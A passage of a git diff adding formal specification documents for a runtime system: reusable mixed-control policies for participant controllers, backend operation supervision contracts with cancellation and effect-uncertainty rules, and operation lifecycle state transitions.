"sha256:3edbdd81087951d497f49d8dcb59ea859b13e40819e8492b329a7f5f5e668efe" }, { "path": "tools/verified_tree_archive.py", @@ -321,7 +321,7 @@ }, { "path": "tools/verified_tree_installation.py", - "digest": "sha256:d38d93dcb98e8f74b3aa1f72e0bcd97ad3464cae24388a36d26ffbcd6607a751" + "digest": "sha256:196995ae0b9f309b8350ad62538196286439dc06d4a0b4f5783d9df3fb781092" }, { "path": "tools/verified_tree_manifest.py", diff --git a/specs/formal/participant-semantics/reusable-mixed-control.md b/specs/formal/participant-semantics/reusable-mixed-control.md new file mode 100644 index 000000000..328703d94 --- /dev/null +++ b/specs/formal/participant-semantics/reusable-mixed-control.md @@ -0,0 +1,329 @@ +# Reusable mixed-control policies and occurrences + +Semantic decision: `mixed-control-policy-occurrence/rev1`, under +[ADR-110](../../../docs/decisions/adrs/adr-110-reusable-mixed-control-policies-and-occurrences.md). +This is the normative amendment for ACT-617, API-409, RUN-310 and DSL-142. +Its semantic revision is independent of the existing occurrence wire version, +policy revision, schema publication hash and store version. + +This publication establishes the design contract. The current SDL, compiler, +API-409 v1 and runtime implement the earlier fixed-coordinate form; their +schemas and executable behavior do not acquire these semantics by publication. +The [migration contract](../../../docs/migration/reusable-mixed-control.md) +defines the required producer/reader boundary. The +[worked cases](../../../docs/research/reusable-mixed-control/cases.md) distinguish +abstract-model evidence from implementation conformance. + +## MC-01 — Policy permissions and occurrence facts + +An ACT-617 policy remains nested in one behavior specification and controls +exactly one declared participant. It pins a semantic interpretation, immutable +policy identity/revision, initial controller state, controller-state graph, +permitted edges, order strategy, validity constraints, evidence requirements +and conflict dispositions. Controllers remain `self` or declared agents; +`self` resolves to the controlled participant's canonical identity. + +| Reusable permission | One application of that permission | +| --- | --- | +| Stable local edge identity and control kind | Fresh event/occurrence identity and its exact edge reference | +| Permitted source and destination controller states | Actual prior/resulting states and expected/resulting state revisions | +| Controller, authority-basis and non-widening scope constraints | Acting controller, resolved grant and scope at the evaluated cut | +| Required target kind and eligibility | Exact proposal/target identity, revision, episode and predecessor evidence | +| Order strategy and validity requirements | Admitted effective order/domain, evaluated validity bounds and clock coordinates | +| Evidence requirements | Evidence produced for this occurrence, provenance, markings and disposition | + +A policy edge carries no fixed traversal number, future proposal identity, +future receipt, actual state revision or actual occurrence order. Static +evidence of policy establishment is distinct from evidence of its application. +Graph validation establishes references, authority constraints and supported +forms; it does not unroll a runtime history or fix how many visits occur. +The compiler preserves typed nested identities and dependencies, with one edge +per permission rather than synthetic edges for successive visits. + +The revised closed ingress boundary requires exact integer coordinates: booleans, +numeric strings and lossy coercions are invalid revisions/orders. Preserve the +existing bounded JSON/YAML ingress, duplicate-member rejection before parsing +loses ambiguity, depth/byte limits and resolved portable identifiers. These +scalar rules must agree across authoring, wire, in-process and stored readers; +legacy readers keep their explicit historical interpretation. + +## MC-02 — Reusable policies and finite scripts + +The semantic forms are explicitly distinguished as **reusable-policy** and +**finite-script**. These are design-level discriminants, not new SDL syntax +accepted by the current parser. Neither missing fields nor graph topology may +select a form implicitly. + +A reusable-policy permits any finite trace admitted by its edges and ordinary +authority, lifecycle, budget and validity gates. An edge never schedules itself. +Cycles authorize neither automatic firing nor an infinite execution. + +A finite-script pins a finite ordered list of distinct step identities. Each +step names an edge and may narrow its target, exact revision, order and validity +constraints. It cannot widen the edge's authority. A committed application +must match the current step as well as the common occurrence relation. Only +acceptance advances the script cursor; rejection retains the step, and an +idempotent retry cannot advance it again. Exhaustion admits no further step. +Corrected submissions require fresh operation identities and ordinary retry +bounds; rejection itself schedules nothing. Repeated edge references are +expressible as separate explicit steps. + +Thus a script containing `A→B, B→A` still permits only one cycle even when its +referenced graph is reusable. This reuses the existing +[workflow declaration/execution distinction](../workflows/state-machine.md), +without importing workflow DTOs, attempt counters, joins or a new scheduler +into controller state. Legacy fixed-coordinate authoring keeps its original +interpretation; conversion is subject to the migration contract. + +## MC-03 — Exact state relation and repeated cycles + +For one admitted target/run/participant/episode, let the accepted control state +be `C = (policy pin, state id, state revision, accepted order, script cursor)`. +Let `H` be the append-only occurrence history, whose head/append position is +separate from state revision. The trusted evaluation cut additionally binds +episode status, grants/revocation, target lifecycle, relevant crossing/effect +heads, shared-time coordinates and resource limits. + +For a fresh request `q` and edge `e`, acceptance requires all of: + +1. The episode is admitted and running; the semantic and policy pins match. +2. `q.expected_state = C.state = e.source` and + `q.expected_revision = C.revision`, with exact relevant history/store heads. +3. The acting controller and grants satisfy MC-04; targets satisfy MC-05. +4. Order and validity satisfy MC-06; script and resource constraints hold. +5. Required occurrence-specific evidence is resolved and the atomic commit + succeeds at the same cut. A changed grant, clock, target or history fence + forces rejection or a new evaluation, never substitution of new coordinates + into the original request. + +The accepted successor is `C.state := e.destination` and +`C.revision := C.revision + 1`. **Every accepted control kind advances revision**, +including proposal, denial and same-state transitions. Returning to `A` at +revision 2 does not recreate `A` at revision 0. State identity, state revision, +proposal revision, occurrence revision and history head are separate values. + +Rejection preserves accepted state, order and script cursor. A durable rejected +attempt may advance history append position, so it cannot be folded as a state +advance or registered as a usable proposal, decision or authorizing target. +All dispositions remain available as appropriately authorized historical +facts. Only an `accepted` occurrence is eligible for control-state advancement; +eligibility to authorize another operation additionally depends on kind and +current lifecycle. In particular, an accepted denial authorizes no action. + +## MC-04 — Acting controller, authority and handoff + +This revision retains the incumbent source-controller rule: the acting +controller is the resolved controller of the edge's **source** state. Its +authority bases must be declared by that agent, active at the cut, and valid +for the transition kind and affected targets. Controlled scope must be within +the behavior specification's authority scope, the controller's operating scope +and the resolved grant. Omitted or unresolved authority never widens scope. + +Only a `handoff` changes the controller identity in this revised form; it must +change that identity and supply completion evidence for this exact transfer. +Other kinds may move between policy states with the same controller. A +destination controller's presence does not authorize its own takeover. Initial +and resulting controller authority must independently resolve and be valid. +No implicit supervisory exception or new delegation mechanism is introduced. +External supervision uses explicitly established controller state; behavior +mode and autonomous action execution are separate from who controls a +supervisory transition. Legacy approvals that also changed controllers retain +their old meaning and require an explicit author decision for conversion. + +An authenticated principal must independently pass role, target/run and +participant/controller subject-binding checks. It is not the semantic actor. +Control-plane identities, credentials, provider processes, inject senders and +general external inputs do not become participant controllers. Receipt access +and participant disclosure have their own authorization checks. + +## MC-05 — Targets, proposals and conflicting decisions + +The following closed target meanings reconcile authoring, occurrence contracts, +runtime resolution and directed-inject bindings: + +| Kind | Target meaning | +| --- | --- | +| proposal | Creates a fresh proposal occurrence; it targets no prior proposal by pretending an edge is an occurrence. | +| approval / denial | Exactly one live, unresolved proposal identity/revision. | +| external-direction | An existing proposal, action or control occurrence, as explicitly permitted by the edge. | +| intervention | An existing action, control occurrence or attempt. | +| handoff | Source/destination controller state and this transfer's completion evidence. | +| override | Existing control or decision occurrence; separately identified replacement and supersession relation. | +| cancellation | Existing proposal, decision, admitted action or attempt, with actual lifecycle and effect evidence. | + +Existing-target relations must resolve at the evaluated cut, in the exact +participant and episode, with the required kind and revision. A later record +in an imported batch, a self-reference or a dependency cycle cannot satisfy +this obligation. Prospective replacement/evidence requirements are obligations, +not proof that their future targets exist. Trusted indexes come from the owner; +a provider or client cannot submit its own authoritative target index. + +Within an episode a proposal identity has one immutable content/revision +binding. A changed or transformed proposal gets a fresh identity, preserving +its source identity/revision, transformation provenance and markings. Proposal +revision is not copied from controller-state revision. Every new control cycle +that proposes new work creates fresh proposal/decision identities. + +Approval and denial are mutually exclusive resolutions of the same pending +proposal revision. A second distinct decision does not reopen that proposal. +Explicit override/cancellation may append a superseding fact only when its +current target lifecycle permits it. An approval ceases to authorize further +progress when superseded/cancelled, its proposal is replaced, its validity or +grant is no longer effective at admission, or its episode ends. Prior actions +and evidence remain historical facts. A direction to a proposal never doubles +as approval. Approval, direction and handoff still require independent action +admission, crossing/flow policy and execution gates. + +## MC-06 — Order, concurrency and live validity + +Retain the closed `total-effective-order` strategy. Its domain is explicitly +bound to the admitted participant/episode and pinned policy. The admitted +ordering authority supplies each candidate's coordinate; HTTP arrival, lock +acquisition, map order and host timestamps are not undeclared tie breakers. +An unsupported strategy or ambiguous group has no winner and fails closed. +When distinct admitted coordinates order competing requests, evaluate in that +order against the newly committed cut. After one advances revision, another +request at the old revision is stale; never automatically rebase it. + +Accepted effective order increases strictly. A rejected attempt records its +attempted coordinate and evaluated cut but does not consume an accepted-order +position. Its independent append sequence can increase. This makes a stale or +out-of-window attempt representable without asserting a valid application. +Ingress failures that cannot be safely bound to an admitted participant/episode +remain bounded operation/audit rejections, not invented participant facts. + +Order-window endpoints are inclusive and interpreted only in their named +control-order domain. They do not claim elapsed-time expiry. Temporal validity +uses the existing [shared-time model](../time-model/README.md): exact clock, +domain, segment, tick and microstep coordinates, with inclusive window endpoints +and explicitly admitted mappings. Order is never implicitly converted to a +tick. Unmapped domains and invalid/reset segments cannot satisfy a window. +Where both constraints apply they conjoin, and current grant revocation defeats +either. Resolve coordinates and grants from trusted owners at the decision and +commit cut; authoring consistency alone proves no live validity. + +API-409 rejected-attempt semantics must preserve both attempted coordinates +and the observed current cut, reason and no-state-change result. They must not +copy fictitiously valid coordinates into the accepted-occurrence shape merely +to make validation pass. Historical v1 rejections are not reinterpreted. + +## MC-07 — Commit, retry and evidence + +Reuse the existing owner evaluator and commit boundaries for direct control, +governed control ingress and separately admitted API-424 handoff effects. +Occurrence, resulting state, operation/idempotency record and actor-bound audit +commit atomically with the relevant crossing/evaluation histories. A failed +commit exposes no accepted transfer. Callback re-entry cannot change the cut; +client disconnect does not establish rollback or participant cancellation. + +The existing operation claim key is `(principal, operation kind, client key)` +within a target/run store. Participant, episode, policy, target and semantic +input are request commitments, not extra retry-key namespaces. After current +receipt-access authorization, an identical retry returns the retained receipt +without re-executing or validating a new occurrence at today's cut. Changed +content under that key conflicts, including a changed episode. A fresh visit +uses a fresh operation key and occurrence identity. The reusable edge is +neither key. Retain the incumbent canonical fingerprint/digest rules. + +A fresh control occurrence does not automatically mean a fresh API-424 logical +effect. Preserve trigger-root/rule/slot/firing-epoch identity, the originating +principal's admitted scope, causal budgets and consumption. A drain caller +cannot lend authority. Recovery of indeterminate external work requires the +owner's reconciliation evidence; a new cycle cannot conceal a duplicate effect. +An accepted operation receipt alone proves neither accepted control nor a +successful external effect. Cancellation records actual prevented/partial/late +outcomes only from their lifecycle/evidence authority, never from target kind +or a desired outcome. No control fact rewrites delivered observations. + +## MC-08 — Episode admission, replay and limits + +Existing episode lifecycle owns initialization, running and termination. Initial +controller state is established with an admitted policy pin and valid authority +at revision zero. Fresh control applications require `running`; initialization +is not a control occurrence, and terminal episodes admit no fresh application. +Authorized reads and exact receipt retries may still inspect historical facts. + +Reset/restart admits a new episode under the existing lifecycle, with explicit +predecessor linkage and freshly validated initial authority/policy. It does not +carry pending proposals, decisions or the prior script cursor into that episode. +Prior histories remain retained and episode-qualified. A clock reset creates a +new clock segment, not an episode. A process restart reconstructs the same +episode, not a new trial or permission to repeat an effect. Provider/phase +handoff is not controller transfer or episode restart. + +Pin policy for the entire episode. Live policy replacement within an episode +is unsupported by this revision. A new episode can select a new revision; +historical reconstruction uses each episode's original policy and authority/cut +evidence. Replay verifies continuity and retained evidence without dispatch or +evaluation against today's grants/clock. Missing historical context yields an +explicit unverifiable result, never substitution of the latest policy. Semantic +clock replay and a new experimental trial remain separately admitted operations. + +Use admitted resource and history limits. Coordinate/ref ranges must fit every +selected consumer, including API-424's strict count bound of 1,000,000 and +bounded references where that consumer applies. Reject unsupported ranges or +exhaustion before commit; never wrap revisions, truncate identities/history or +reset root budgets at a handoff/new episode. Derived indexes must be +reconstructible and fenced to authoritative store revisions. No liveness, +unbounded replay-cost or exactly-once external-effect claim follows. + +## MC-09 — Participant-directed injects + +Keep DSL-111 orchestration identity, its event/script/story anchor, the DSL-142 +participant binding, control-policy edge, actual control occurrence, delivery +occurrence and observation occurrence distinct. An ordinary inject remains +orchestration input; an explicit binding discloses only its governed result. +It never grants access to the inject's hidden body or environment effects. + +Reusable authored direction/intervention bindings pin a permitted edge and its +kind/target/authority/evidence constraints. Each realized application must join +an **exact accepted** control occurrence identity/revision, participant/episode, +edge/policy pin, acting source controller, scope, target, evaluated cut and +validity evidence. Never select the latest event with the same edge. Declaration +references and matching version strings alone establish no agreement. + +Delivery-policy and control-policy identity/revision are pinned independently; +they need jointly satisfied constraints, not equal revision strings. Keep the +delivery window independently valid at delivery. Each `(control occurrence, +participant binding)` authorizes at most one logical delivery in this revision. +That delivery's exact retries preserve its identity/consumption; further +delivery needs a fresh application. Fan-out uses separate explicit participant +bindings, independently admitted. Repetition does not replay an event schedule +or environment effect automatically. + +Resolve authored refs to canonical compiled addresses with existing compiler +indexes before joining; a field called `participant_address` performs no such +normalization. Reuse the trusted non-wire +`ParticipantControlValidationContext.inject_deliveries` seam, authored-binding +digest, owner input/cut/projection and ordinary final-sink validation. Effective +disclosure, audience, markings, transformations and capability support are +revalidated at the delivery/observation cut under SEM-226/230/233 and ADR-095. +Authenticated audience binding is independent of control-subject authorization. +Disclosure-only bindings carry no control authority. + +Ordinary disclosure can preserve the same source/result item identity where +its existing contract permits. An API-424 inject effect instead creates a fresh +DSL-111 occurrence and fresh produced result with source provenance, as ADR-108 +requires. Neither identity renaming nor a control receipt proves transformation, +delivery or observation. Reuse the existing API-423 stage records and realized +exposure/evidence owners; require explicit emission/acknowledgment/observation +basis. A later delivery failure cannot erase accepted control. Required +predecessor delivery keeps its parent withheld under RUN-320 until evidenced +and revalidated. These are semantic obligations, not a new delivery service. + +## Invariants and evidence boundary + +MC-01/02 preserve permission versus trace; MC-03 preserves exact continuity; +MC-04/05 preserve acting authority and target eligibility; MC-06 rejects +ambiguous, stale or invalid coordinates; MC-07 preserves atomicity/idempotency; +MC-08 preserves episode and historical interpretation; MC-09 preserves exact +delivery joins and independent disclosure authority. + +The bounded reference relation in +[`test_issue_1351_mixed_control_design.py`](../../../implementations/python/tests/test_issue_1351_mixed_control_design.py) +uses the existing pytest workflow. It checks finite state/order/retry/target +and delivery-join projections with trusted resolution and atomic commit as +assumptions. Its replay check validates state continuity only, not the entire +historical authorization proof. It does not implement DTOs, a sequencer, a +clock mapping, persistence, effect dispatch or a backend. Worked cases cover +the wider semantic contract and identify these limits explicitly. diff --git a/specs/formal/runtime-contracts/backend-operation-supervision.md b/specs/formal/runtime-contracts/backend-operation-supervision.md new file mode 100644 index 000000000..228d4e771 --- /dev/null +++ b/specs/formal/runtime-contracts/backend-operation-supervision.md @@ -0,0 +1,234 @@ +# Backend operation and supervision contracts + +Status: published draft contracts, issue #1360, API-402. Classification: FM3. +The [supervision semantics](../runtime-control-plane/supervision.md) and +[ADR-113](../../../docs/decisions/adrs/adr-113-reusable-execution-machinery.md) +own the execution design. This publication supplies portable messages and +validation obligations. It does not implement the runtime dispatch, claim, +supervision, store, or physical fencing mechanisms described by that design. + +## 1. Authority and contract family + +RAE admits authored work and drives one backend invocation through the public +`raes_backend_protocols.operation_supervision.BackendOperationProvider` protocol. +The backend performs concrete work and supplies evidence. RAE retains scenario +ordering, authorization, workflow/time/trial policy, retries, trusted snapshots, +result admission, terminal publication and operational audit. A backend needs +no second scenario interpreter. Schema validity proves none of these duties. + +The additive `operation-supervision` backend profile requires the existing +backend manifest plus four schemas under `contracts/schemas/control-plane/`: + +| Contract | Direction and purpose | +| --- | --- | +| `backend-operation-request-v1` | RAE to backend: exact admitted command, requirements, context and apparatus budget. | +| `backend-operation-capabilities-v1` | Backend to RAE: installed versioned declaration for operation kinds and guarantees. | +| `backend-operation-control-v1` | Authorized supervisor to backend via RAE: cancel, observe or reconcile the original invocation. | +| `backend-operation-response-v1` | Backend to RAE: discriminated admission, acknowledgement, progress, control disposition, outcome or reconciliation evidence. | + +Wire `schema_version` values use `/v1`; publication IDs use `-v1`. All objects +are closed. Unknown versions, fields, enum values or required guarantees fail +closed. Profile membership is contract support, not backend conformance or a +P0–P3 runtime guarantee. Existing backends do not opt in automatically. + +## 2. Binding, command and authorization + +Every request and response preserves the original `OperationAdmissionContext`: +actor, authorization scope, target/run, operation kind, request commitment and +parent operation. A binding additionally identifies backend, deployment, +operation, invocation, authored attempt, authorized worker, owner generation, +execution generation, baseline snapshot revision and conflicting-effect scope. +These identifiers have distinct meanings and must not be substituted for one +another. An engine delivery attempt is not an authored attempt or invocation. +An ordinary operation needs no experiment, participant or trial wrapper. + +`command` is a digest-bound reference to the admitted native command/plan. +`requirement_refs` identify exact admitted requirement artifacts, including any +selected workflow, time, trial, effect or release constraints. The command's +owning contract retains its resolved policy and provenance. These references +are not a free-form policy language: the runtime must resolve and validate +their native types, expected kind and immutable contents before dispatch. +Unresolved, unsupported or incompatible references prevent invocation. No +raw credentials, executable paths, native job locators or arbitrary metadata +are carried here. References and digests grant neither access nor permission. + +The request digest is SHA-256 over RFC 8785 canonical JSON of the complete +validated request, including materialized defaults and null values. Preserve +array order. `backend_operation_request_digest()` is the reference encoder; +the original admission commitment remains a distinct value. Every response +echoes both the binding and this digest. Capability and control digests follow +the same rule. A changed requirement, budget, scope or command is a different +request, not a transport retry of an existing invocation. + +Before `start_operation`, the current authenticated RAE authority must validate +the command, current scope authorization, budget, capability and willingness, +then consume the one-use invocation claim specified by ADR-113. The first +confirmed consumer may invoke. A lost claim acknowledgement grants no usable +permission. No database transaction spans the backend call. Duplicate delivery +observes the same invocation and cannot cause another effect or authored +attempt. Credential-sensitive retries retain their incumbent ephemeral proof +requirements; a durable public digest cannot replace that proof after restart. + +Owner generation, execution generation and baseline revision fence **state +publication**. They cannot prove cessation or fence a remote effect. A backend +external fence requires separate scoped evidence under its admitted guarantee. +Replacing an owner or worker retains outstanding reservations and quarantine. + +Effect exclusion defaults to the entire target/run. A `resources` scope requires +bounded canonical addresses and a digest-bound independence artifact that the +runtime validates. Residual addresses must stay within this admitted scope. +Unrepresented or out-of-scope effects invalidate the report and require +indeterminacy, not silent truncation. An external fence reference is evidence +to validate against this exact scope, not a self-authenticating token. + +## 3. Capability, willingness and bounded calls + +`operation_capabilities()` returns an installed provider declaration with a +backend identity, revision, operation kinds and selectable guarantees: + +| Guarantee | Required meaning when selected | +| --- | --- | +| `cancellation` | Accept the scoped cancellation protocol and explicitly report its disposition. It does not promise successful cessation. | +| `effect-observation` | Provide bounded, correlated effect observations during execution/reconciliation, including honest uncertainty. | +| `cessation-evidence` | Establish scoped cessation evidence required by the admitted operation, or refuse that operation before effects. | +| `partial-effects` | Represent known partial effects with a native residual snapshot and complete residual scope. | +| `external-fencing` | Establish the admitted backend fence for the exact external effect scope; local CAS is insufficient. | + +The exact required strength, durations, scope and native evidence are in the +admitted command/requirement artifacts. A guarantee name alone never proves +their satisfaction. General continuation/checkpoint support is absent from v1; +a request requiring an unsupported continuation guarantee must be refused. + +`require_operation_provider()` checks declared contract IDs and installed call +shapes without invoking the provider. `check_operation(request)` returns an +`admission` response bound to the complete request and the canonical capability +digest. `require_backend_operation_admission()` requires matching backend/kind, +all requested guarantees, the exact capability digest and current willingness. +This pure validator does not authorize effects. The runtime must recheck after +queueing and immediately before consuming the invocation claim. A previous +willing answer is not an irrevocable promise. No missing guarantee becomes +best effort, a shorter duration, a replacement backend or an implicit retry. + +Each request/control carries a positive finite integral apparatus budget in +milliseconds, its immutable origin ID, a valid RFC 3339 origin instant and the +remaining allowance. Integers are strict and bounded to the interoperable JSON +integer range. The remaining allowance cannot exceed the original limit. +It is a ceiling, not a restartable timer: the runtime tracks elapsed apparatus +monotonic time and every nested call consumes the enclosing remaining budget. +Duplicates never renew it. Restart requires clock-continuity/elapsed evidence; +otherwise the remaining time is unknown and invocation is refused. UTC origin +evidence does not make a portable monotonic deadline. Authored semantic clock, +domain and segment semantics remain in their native contracts. + +RAE must independently bound admission, execution, observation/interruption, +store readback/commit and drain. This backend carrier transmits the remaining +budget for the particular backend stage; it does not implement those timers. +Effect and control calls require independent bounded capacity. If that cannot +be provided, the composition cannot advertise the stronger supervision claim. +No unbounded callback iterator is part of this protocol: each method returns +one bounded response. Transport loss, method exceptions, malformed results and +timeout are uncertainty; native exception text must not become public records. + +## 4. Response meanings and ordering + +| Message | Meaning | +| --- | --- | +| `admission` | Current willingness or contextual refusal, referencing the exact capability declaration. | +| `acknowledgement` | This invocation was accepted, or refused before it could produce effects. Acceptance is not success. | +| `progress` | Bounded operational phase/evidence; it neither extends a budget nor proves a result. | +| `control` | A supervisory request was recorded, accepted, refused, unsupported, or arrived after terminal evidence. None of these establishes cessation. | +| `outcome` | Proposed existing terminal state with independent effect knowledge, cessation, satisfaction, release and cancellation claims. RAE must validate before publishing. | +| `reconciliation` | Bounded observation for a correlated observe/reconcile request; it does not invoke, replay or rewrite a terminal parent. | + +Backend sequence numbers are positive and ordered within one exact invocation +binding. They order reports, not the runtime's atomic commits. The identical +sequence/content may be retransmitted; different content at the same sequence +or a previously unseen lower sequence is invalid. Gaps are permitted, since +progress may be coalesced before publication; acknowledged controls must remain +retrievable and cannot be silently discarded. Retain deduplication for as long +as the admitted effect/recovery window requires. Sequence exhaustion must close +admission; wrapping a counter cannot create a new invocation. + +`validate_backend_operation_history()` checks bounded transcripts of at most +1024 response records and 256 controls. Progress/outcome requires an accepted +acknowledgement. Refused acknowledgement closes that invocation. A proposed +terminal report is immutable within the transcript; later control/reconciliation +records may add evidence, but cannot replace it. Transcript validation is a +conformance check, not a scheduler, persistence implementation or proof that +a backend deduplicates its physical effects. + +Each control request binds its own actor, authorization scope, unique control +ID and canonical digest to the original operation. Runtime authorization must +independently authenticate that supervisor and check the precise subject/scope; +fields asserted by a caller are not identity proof. Responses to control and +reconciliation echo its ID and digest. Same control ID with changed content is +invalid. A repeated cancellation cannot multiply interrupts or restart budgets. +Status retrieval may return previously recorded progress/outcomes unchanged; +the runtime still authorizes each disclosure. + +## 5. Effects, settlement and uncertainty + +Effect knowledge is `absent`, `complete`, `partial` or `unknown`, independently +of `cessation_established`. Known effect/cessation/fence claims require scoped +content-bound evidence references. Known partial effects require both a native +`runtime-snapshot-v1` residual state reference and its complete changed-address +scope. Unknown remainder may preserve a known residual prefix, but must stay +`unknown`. Absence cannot include residual changes. Complete effects may be a +validated no-op. Evidence references must be resolved, authenticated, bounded, +scope-checked and validated; presence of a reference does not establish truth. + +| Proposed state | Required claims, in addition to native runtime validation | +| --- | --- | +| `succeeded` | Known nonpartial effects, cessation, all admitted requirements satisfied, result reference and final release gates satisfied. | +| `failed` | Known effects, cessation and established non-satisfaction. Known partial effects remain represented. | +| `cancelled` | Known effects, cessation and established cancellation contract. Known partial residuals remain represented; rollback is not implied. | +| `indeterminate` | Required for unknown effects or unproved cessation, and available for other unsettled contract/commit facts. Preserve trusted state and exclusion. | + +The proposed state uses the existing `OperationState` vocabulary. There is no +new PARTIAL, REFUSED, CANCELLING or TIMED_OUT state. The backend proposal cannot +override native result validation, trusted-predecessor isolation, requirement +satisfaction or final release validation. RAE alone commits the permitted +snapshot, terminal record and actor-bound audit atomically with revision CAS. +An effect can be known complete while a release gate still prevents success. +Generic failure or a predecessor snapshot cannot prove no external effect. + +If cancellation is accepted and valid completion wins the runtime commit, +success remains possible. Cancellation requires evidence, not the accepted +request. A late completion after cancellation/indeterminacy may supply linked +resolution evidence, but cannot rewrite the parent. Pre-dispatch contextual +refusal after runtime claim becomes the existing cancellation/refusal path; +before claim it remains denial audit. A refusal after possible effects is not +an absent-effect acknowledgement: report classified/unknown effects instead. + +Backend effect uncertainty and store commit uncertainty remain separate. For a +lost store acknowledgement, read back the complete atomic cut, poison readiness +while unknown, and do not publish a second terminal record. A backend outcome +cannot resolve store uncertainty. Reconciliation observes without replay; +administrative acceptance, compensation, cleanup and new trial allocation keep +their separate owning contracts. Unknown cessation retains quarantine even +after a terminal indeterminate record or owner loss. + +## 6. Validation and examples + +Consumers must run structural JSON Schema validation **and** the semantic +invariants declared with `x-raes-semantic-profile`/`x-raes-invariants`. +Annotations document the mandatory rules; a generic JSON Schema validator does +not execute Python validators or validate backend truth. The Python facade +exports the four models, nested message models, digest helpers, admission, +response and transcript validators. Cross-message checks require the trusted +request and, for a control result, its independently admitted control request. + +The routed fixtures under `contracts/fixtures/control-plane/backend-operation-*` +are executable contract examples. Matching filename prefixes form exchanges: +`accepted`, `refused`, `cancel-race`, `partial-cancel`, `duplicate`, `uncertain`. +They demonstrate every message kind and preserve uncertain parents when new +reconciliation evidence arrives. The `provider` capability fixture is a +synthetic declaration, not a claim about an installed backend. Artifact digests +are synthetic identity witnesses; these examples prove carrier and relationship +validation, not actual artifact contents, physical effects or liveness. + +`test_issue_1360_backend_operations.py` executes the corpus, rejects foreign +bindings and changed commitments, exercises cancellation races/duplicates and +checks honest outcome boundaries. The existing #1348 abstract model and lifecycle +tests retain their narrower claims. No fixture establishes runtime interruption, +distributed coordination, recovery truth, physical containment or P3 support. diff --git a/specs/formal/runtime-contracts/participant-backend-contracts.md b/specs/formal/runtime-contracts/participant-backend-contracts.md index 78e04f218..039713150 100644 --- a/specs/formal/runtime-contracts/participant-backend-contracts.md +++ b/specs/formal/runtime-contracts/participant-backend-contracts.md @@ -156,6 +156,30 @@ Rules: evidence discipline without claiming runtime enforcement, which the RUN-319 final-sink boundary owns. +### Effective mixed support (issue #1355) + +For a mixed participant action or staged transfer, a manifest strength entry +is a declaration to be joined with the admitted provider-local feature and +time capabilities, exact profile edge or transition, current authority and +final-sink policy, and installed executable services. The bridge, mapper, +time coordinator, and destination or participant readback must execute their +named obligations under the owning operation. A support entry, service method, +mapping reference, timestamp, or backend success flag alone cannot establish +delivery, observation, governed order, or native handoff. Missing bindings or +contradictory pre-effect support refuse before an external effect; missing +post-effect readback leaves the operation indeterminate without claiming the +unconfirmed stage. + +The existing four support levels and separate constraint, limitation, +disclosure, and evidence references retain their meanings. A weaker admitted +mapping records its authorized loss and evidence only after correlated +execution; unknown or partial effects use the shared operation lifecycle, +not a new manifest support level. Shared time capabilities govern the named +clock mapping and comparison without requiring one physical clock or a +physical-OT timing guarantee. Installed bindings are trusted runtime inputs +against the sealed `sem-234/rev1` profile; this rule adds no manifest field, +support vocabulary term, or published carrier revision. + ### Adversarial-control apparatus and backend support (issue #1004) The following governed `participant-runtime-behavior-features` terms let a diff --git a/specs/formal/runtime-control-plane/README.md b/specs/formal/runtime-control-plane/README.md index 7685de34d..2a06c3c62 100644 --- a/specs/formal/runtime-control-plane/README.md +++ b/specs/formal/runtime-control-plane/README.md @@ -3,6 +3,12 @@ Status: design authority for ADR-104; no executable profile guarantee is claimed until the corresponding implementation issue lands with tests. +The [supervision supplement](supervision.md) defines issue #1348's admission, +execution-reservation, cancellation, deadline and subsequent-work semantics. +Its evidence rules refine this model without adding persisted states. The +supplement is design authority; bounded abstract tests do not demonstrate a +runtime implementation of those extensions. + ## Scope This FM3 artifact defines the abstract operation lifecycle and the safety, @@ -24,7 +30,9 @@ ephemeral exact fingerprint binds credential-bearing input for in-process idempotency collision detection; that fingerprint never enters the operation store, receipts, statuses, diagnostics, or audit records. After restart its proof is intentionally unavailable, so a credential-bearing retry under an -already-durable idempotency key fails closed and the caller must use a new key. +already-durable idempotency key fails closed. Status retrieval remains separate; +a new key is necessary for new effect work but never sufficient authorization +to repeat it or bypass unresolved effects. ## Abstract states and transitions @@ -34,6 +42,7 @@ The proposed portable lifecycle is: UNRECORDED --admit/claim--> ACCEPTED --start--> RUNNING UNRECORDED --deny---------> DENIED (audit outcome only; no operation record) ACCEPTED --cancel-------> CANCELLED +ACCEPTED --recover unknown legacy provenance--> INDETERMINATE RUNNING --commit-------> SUCCEEDED | FAILED | CANCELLED | INDETERMINATE ``` @@ -47,7 +56,7 @@ store-specific transition table. | From \\ To | `ACCEPTED` | `RUNNING` | `SUCCEEDED` | `FAILED` | `CANCELLED` | `INDETERMINATE` | | --- | --- | --- | --- | --- | --- | --- | -| `ACCEPTED` | illegal | legal: start | illegal | illegal | legal: cancel before invocation | illegal | +| `ACCEPTED` | illegal | legal: start | illegal | illegal | legal: cancel before invocation | legal: migrated claim lacks write-ahead provenance | | `RUNNING` | illegal | illegal | legal: commit observed success | legal: commit observed failure or known-absent effect | legal: commit proven cancellation or known-absent effect | legal: commit outcome that cannot be established | | `SUCCEEDED` | illegal | illegal | illegal | illegal | illegal | illegal | | `FAILED` | illegal | illegal | illegal | illegal | illegal | illegal | @@ -75,7 +84,8 @@ use the shared model's safe JSON-Pointer address shape. `SUCCEEDED`, `FAILED`, `CANCELLED`, and `INDETERMINATE` are terminal. Implementations may combine `admit/claim` and `start` into one durable -transaction, but `RUNNING` must be authoritative before backend invocation. +transaction, but `RUNNING` must be authoritative before backend invocation +(crash-persistent in P1/P2; in-process ordering only in P0). `RUNNING` reaches `CANCELLED` only when the effect is known absent or the backend contract proves cancellation; an unobservable cancellation is `INDETERMINATE`. No terminal state transitions to another state. In particular, @@ -89,8 +99,8 @@ The abstract operations are: | `deny` | admission or authorization fails before claim | append one bounded, value-free denial audit; create no operation or idempotency claim | none | | `claim` | actor is authorized for `S`, kind, and referenced subjects; scoped idempotency claim absent | create immutable claim and non-terminal operation | none | | `start` | operation is `ACCEPTED` and owned by the mutation authority | transition to `RUNNING` | none | -| `invoke` | operation is durably `RUNNING` | none; no store transaction is held | backend may apply, reject, or become unobservable | -| `cancel` | actor is authorized and operation is `ACCEPTED`, or operation is `RUNNING` with the effect proven absent or cancelled | preserve the snapshot revision and write `CANCELLED` plus actor-bound audit together | none; any backend cancellation or observation precedes this transition | +| `invoke` | operation is authoritatively `RUNNING` under its selected profile | none; no store transaction is held | backend may apply, reject, or become unobservable | +| `cancel` | actor is authorized and operation is `ACCEPTED`, or operation is `RUNNING` with the effect proven absent or cancelled | write `CANCELLED` plus actor-bound audit together; preserve the snapshot revision when unchanged, otherwise atomically commit validated residual state | none; any backend cancellation or observation precedes this transition | | 